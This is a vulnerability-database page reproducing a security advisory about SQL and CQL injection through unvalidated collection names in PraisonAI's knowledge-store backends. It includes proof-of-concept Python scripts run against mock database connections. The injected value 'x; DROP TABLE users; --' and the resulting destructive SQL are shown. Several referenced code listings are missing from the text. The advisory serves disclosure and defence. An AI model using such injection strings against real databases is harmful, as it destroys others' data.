INCIDENT MAP

Browse / RAG and Vector Store Weaknesses / CVE-2026-44337

PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries

CVE-2026-44337 ยท 2026-05-11 moderate

Class
RAG and Vector Store Weaknesses (filed by a model that read the advisory)
Technique
SQL and query injection
Affected
praisonai (PyPI)
CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
EPSS
0.2% chance of exploitation in 30 days

How it works, in short

Collection names passed to SQL and CQL knowledge-store backends are concatenated into table and index identifiers without validation, enabling query injection. (Our summary, written by a model. The source text is below.)

Details

Summary

PraisonAI exposes optional SQL/CQL-backed knowledge-store implementations that build table and index identifiers from unvalidated name and collection arguments. Applications that pass untrusted collection names into these backends can trigger SQL or CQL injection.

Details

This issue affects the public persistence layer exported by [persistence/__init__.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/__init__.py:1), which exposes KnowledgeStore and create_knowledge_store(). The factory wires the affected backends as supported knowledge-store providers in [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:112):

The common root cause is that the KnowledgeStore interface accepts free-form collection names in create_collection(), delete_collection(), insert(), upsert(), search(), get(), delete(), and count() at [persistence/knowledge/base.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/base.py:44), but the affected backends interpolate those values directly into query text instead of validating or quoting them.

Representative sinks:

There is already an internal identifier validator in the conversation persistence layer:

That validator is used for SQL identifiers such as table_prefix and schema in the conversation stores, but no equivalent validation is applied in the affected knowledge-store backends.

Version scope:

Scope note for maintainers: I did not identify a built-in PraisonAI HTTP endpoint that forwards external request data into these specific persistence methods. The issue is in the package's public persistence APIs and affects applications that pass untrusted collection names to the affected backends.

PoC

The following local reproductions show that attacker-controlled collection names become part of the executed SQL text.

python3 - <<'PY'
import importlib.util
import pathlib
import sys
import types

base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence")

mods = {
    "praisonai": types.ModuleType("praisonai"),
    "praisonai.persistence": types.ModuleType("praisonai.persistence"),
    "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"),
}
for k, v in mods.items():
    v.__path__ = []
    sys.modules[k] = v

def load(name, path):
    spec = importlib.util.spec_from_file_location(name, path)
    mod = importlib.util.module_from_spec(spec)
    sys.modules[name] = mod
    spec.loader.exec_module(mod)
    return mod

load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py")
ss = load("praisonai.persistence.knowledge.singlestore_vector", base / "knowledge" / "singlestore_vector.py")

class FakeCursor:
    def __init__(self, parent): self.parent = parent
    def execute(self, query, params=None): self.parent.calls.append((query, params))
    def __enter__(self): return self
    def __exit__(self, *args): return False

class FakeConn:
    def __init__(self): self.calls = []
    def cursor(self): return FakeCursor(self)

store = ss.SingleStoreVectorKnowledgeStore()
store._initialized = True
store._conn = FakeConn()
store.delete_collection("x; DROP TABLE users; --")
print(store._conn.calls[-1][0].strip())
PY

Observed result:

DROP TABLE IF EXISTS praisonai_x; DROP TABLE users; --
python3 - <<'PY'
import importlib.util
import pathlib
import sys
import types

base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence")

mods = {
    "praisonai": types.ModuleType("praisonai"),
    "praisonai.persistence": types.ModuleType("praisonai.persistence"),
    "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"),
}
for k, v in mods.items():
    v.__path__ = []
    sys.modules[k] = v

def load(name, path):
    spec = importlib.util.spec_from_file_location(name, path)
    mod = importlib.util.module_from_spec(spec)
    sys.modules[name] = mod
    spec.loader.exec_module(mod)
    return mod

load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py")

psycopg2 = types.ModuleType("psycopg2")
extras = types.ModuleType("psycopg2.extras")
pool = types.ModuleType("psycopg2.pool")
class DummyPool:
    def __init__(self, *a, **k): pass
    def getconn(self): return None
    def putconn(self, c): pass
pool.ThreadedConnectionPool = DummyPool
extras.RealDictCursor = object
psycopg2.pool = pool
sys.modules["psycopg2"] = psycopg2
sys.modules["psycopg2.pool"] = pool
sys.modules["psycopg2.extras"] = extras

pg = load("praisonai.persistence.knowledge.pgvector", base / "knowledge" / "pgvector.py")

class FakeCursor:
    def __init__(self, parent): self.parent = parent
    def execute(self, query, params=None): self.parent.calls.append((query, params))
    def __enter__(self): return self
    def __exit__(self, *args): return False

class FakeConn:
    def __init__(self): self.calls = []
    def cursor(self): return FakeCursor(self)
    def commit(self): pass

store = pg.PGVectorKnowledgeStore(auto_create_extension=False)
conn = FakeConn()
store._get_conn = lambda: conn
store._put_conn = lambda c: None
store.create_collection("x; DROP TABLE users; --", 3)
for query, _ in conn.calls:
    print(query.strip())
PY

Observed result includes:

CREATE TABLE IF NOT EXISTS public.praison_vec_x; DROP TABLE users; -- (
CREATE INDEX IF NOT EXISTS idx_x; DROP TABLE users; --_embedding

The Cassandra backend follows the same pattern in its CREATE TABLE, DROP TABLE, INSERT, SELECT, and DELETE statements.

Impact

This issue affects applications that use PraisonAI's optional SQL/CQL knowledge-store backends and pass untrusted collection names into them.

Potential impact depends on backend and driver behavior, but includes:

I did not confirm direct exposure through PraisonAI's built-in HTTP server surfaces, so this is best understood as a vulnerability in the package's public persistence APIs rather than a turnkey remote exploit in the default application server.

References

Source: GitHub Advisory Database, used under CC BY 4.0.